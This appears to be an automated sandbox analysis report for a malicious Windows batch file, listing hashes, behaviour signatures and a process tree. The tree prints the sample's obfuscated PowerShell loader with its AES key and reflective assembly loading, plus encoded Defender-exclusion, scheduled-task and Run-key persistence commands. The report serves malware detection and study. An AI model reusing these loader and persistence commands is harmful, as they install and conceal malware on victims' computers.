Analysis
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max time kernel
18s -
max time network
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platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/10/2024, 17:47
Static task
static1
Behavioral task
behavioral1
Sample
muauah.bat
Resource
win10v2004-20241007-en
General
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Target
muauah.bat
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Size
1.1MB
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MD5
94cc6e771b56847356601c55584f834f
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SHA1
2da874abb3a6992b86ec82ad6b6fc592f86079e6
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SHA256
59002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75
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SHA512
96157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0
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SSDEEP
24576:N2Ijc+wFpcVR471mHracm9vAW3nE0FIug7UdbD6w:NiomwGB9RxWhIt9
Malware Config
Signatures
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Class file contains resources related to AdWind 1 IoCs
resource yara_rule sample family_adwind4 -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2232 powershell.exe 4700 powershell.exe 1748 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Home = "C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe -jar C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\.tmp\\1729446457402.tmp" reg.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings powershell.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2232 powershell.exe 2232 powershell.exe 4700 powershell.exe 4700 powershell.exe 1748 powershell.exe 1748 powershell.exe 3068 powershell.exe 3068 powershell.exe 3068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2232 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeIncreaseQuotaPrivilege 4700 powershell.exe Token: SeSecurityPrivilege 4700 powershell.exe Token: SeTakeOwnershipPrivilege 4700 powershell.exe Token: SeLoadDriverPrivilege 4700 powershell.exe Token: SeSystemProfilePrivilege 4700 powershell.exe Token: SeSystemtimePrivilege 4700 powershell.exe Token: SeProfSingleProcessPrivilege 4700 powershell.exe Token: SeIncBasePriorityPrivilege 4700 powershell.exe Token: SeCreatePagefilePrivilege 4700 powershell.exe Token: SeBackupPrivilege 4700 powershell.exe Token: SeRestorePrivilege 4700 powershell.exe Token: SeShutdownPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeSystemEnvironmentPrivilege 4700 powershell.exe Token: SeRemoteShutdownPrivilege 4700 powershell.exe Token: SeUndockPrivilege 4700 powershell.exe Token: SeManageVolumePrivilege 4700 powershell.exe Token: 33 4700 powershell.exe Token: 34 4700 powershell.exe Token: 35 4700 powershell.exe Token: 36 4700 powershell.exe Token: SeIncreaseQuotaPrivilege 4700 powershell.exe Token: SeSecurityPrivilege 4700 powershell.exe Token: SeTakeOwnershipPrivilege 4700 powershell.exe Token: SeLoadDriverPrivilege 4700 powershell.exe Token: SeSystemProfilePrivilege 4700 powershell.exe Token: SeSystemtimePrivilege 4700 powershell.exe Token: SeProfSingleProcessPrivilege 4700 powershell.exe Token: SeIncBasePriorityPrivilege 4700 powershell.exe Token: SeCreatePagefilePrivilege 4700 powershell.exe Token: SeBackupPrivilege 4700 powershell.exe Token: SeRestorePrivilege 4700 powershell.exe Token: SeShutdownPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeSystemEnvironmentPrivilege 4700 powershell.exe Token: SeRemoteShutdownPrivilege 4700 powershell.exe Token: SeUndockPrivilege 4700 powershell.exe Token: SeManageVolumePrivilege 4700 powershell.exe Token: 33 4700 powershell.exe Token: 34 4700 powershell.exe Token: 35 4700 powershell.exe Token: 36 4700 powershell.exe Token: SeIncreaseQuotaPrivilege 4700 powershell.exe Token: SeSecurityPrivilege 4700 powershell.exe Token: SeTakeOwnershipPrivilege 4700 powershell.exe Token: SeLoadDriverPrivilege 4700 powershell.exe Token: SeSystemProfilePrivilege 4700 powershell.exe Token: SeSystemtimePrivilege 4700 powershell.exe Token: SeProfSingleProcessPrivilege 4700 powershell.exe Token: SeIncBasePriorityPrivilege 4700 powershell.exe Token: SeCreatePagefilePrivilege 4700 powershell.exe Token: SeBackupPrivilege 4700 powershell.exe Token: SeRestorePrivilege 4700 powershell.exe Token: SeShutdownPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeSystemEnvironmentPrivilege 4700 powershell.exe Token: SeRemoteShutdownPrivilege 4700 powershell.exe Token: SeUndockPrivilege 4700 powershell.exe Token: SeManageVolumePrivilege 4700 powershell.exe Token: 33 4700 powershell.exe Token: 34 4700 powershell.exe Token: 35 4700 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3264 javaw.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 2956 wrote to memory of 5044 2956 cmd.exe 86 PID 2956 wrote to memory of 5044 2956 cmd.exe 86 PID 5044 wrote to memory of 3228 5044 net.exe 87 PID 5044 wrote to memory of 3228 5044 net.exe 87 PID 2956 wrote to memory of 2232 2956 cmd.exe 90 PID 2956 wrote to memory of 2232 2956 cmd.exe 90 PID 2232 wrote to memory of 4700 2232 powershell.exe 92 PID 2232 wrote to memory of 4700 2232 powershell.exe 92 PID 2232 wrote to memory of 3452 2232 powershell.exe 95 PID 2232 wrote to memory of 3452 2232 powershell.exe 95 PID 3452 wrote to memory of 4980 3452 WScript.exe 96 PID 3452 wrote to memory of 4980 3452 WScript.exe 96 PID 4980 wrote to memory of 4592 4980 cmd.exe 98 PID 4980 wrote to memory of 4592 4980 cmd.exe 98 PID 4592 wrote to memory of 4272 4592 net.exe 99 PID 4592 wrote to memory of 4272 4592 net.exe 99 PID 4980 wrote to memory of 1748 4980 cmd.exe 100 PID 4980 wrote to memory of 1748 4980 cmd.exe 100 PID 1748 wrote to memory of 3068 1748 powershell.exe 103 PID 1748 wrote to memory of 3068 1748 powershell.exe 103 PID 1748 wrote to memory of 3264 1748 powershell.exe 105 PID 1748 wrote to memory of 3264 1748 powershell.exe 105 PID 3264 wrote to memory of 3800 3264 javaw.exe 107 PID 3264 wrote to memory of 3800 3264 javaw.exe 107 PID 3264 wrote to memory of 3944 3264 javaw.exe 109 PID 3264 wrote to memory of 3944 3264 javaw.exe 109 PID 3944 wrote to memory of 2360 3944 cmd.exe 111 PID 3944 wrote to memory of 2360 3944 cmd.exe 111 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3800 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\muauah.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:5044 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:3228
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\muauah.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\muauah.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_66_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_66.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4700
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_66.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_66.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:4272
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_66.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_66.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAdQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbgBrACMAPgA="6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3068
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C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar"6⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729446457402.tmp7⤵
- Views/modifies file attributes
PID:3800
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729446457402.tmp" /f"7⤵
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\system32\reg.exeREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729446457402.tmp" /f8⤵
- Adds Run key to start application
PID:2360
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
1KB
MD5773440cd6eb4e778c7d2115d1f231f75
SHA14b600aa41fcd267817961c95b104a0717c40e558
SHA25664c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c
SHA512af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35
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Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
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Filesize
639KB
MD5225f0dcf98252d2fee4b06ad0273880b
SHA193c0fb717375656ac79b85a6c5d1d2d01f5bd3ce
SHA256da64ce75fb68dfbdfada3a2b220156711c662b89fcbfedcc9ac9a84fe40a3d53
SHA5127b74d43ab18550794004fc8dc0ae21e8e37487ec0b108a9053b77d40c1f027379da568efab54a91b1a889c33ddd20e0e154a6d47faa0f3fc573bc49d6da0e2c7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1.1MB
MD594cc6e771b56847356601c55584f834f
SHA12da874abb3a6992b86ec82ad6b6fc592f86079e6
SHA25659002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75
SHA51296157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0
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Filesize
114B
MD52d4f17a6a014e7a325aa27e6d1f553e4
SHA14e0aa220d1726e51db0766e223c4086884c65a09
SHA256a19c1677bbc24aa264238b611fbb9d3c78c795443d1ff59d8f9cb2c3835e778a
SHA512f744c924b126ca7c5ae684630a1613d91a4aa598fa8918986bb8a38d736504f011c1bf0791bd7e25be57b77c9ab7dba51eb18aaca577c144025d74ea5d3d3d52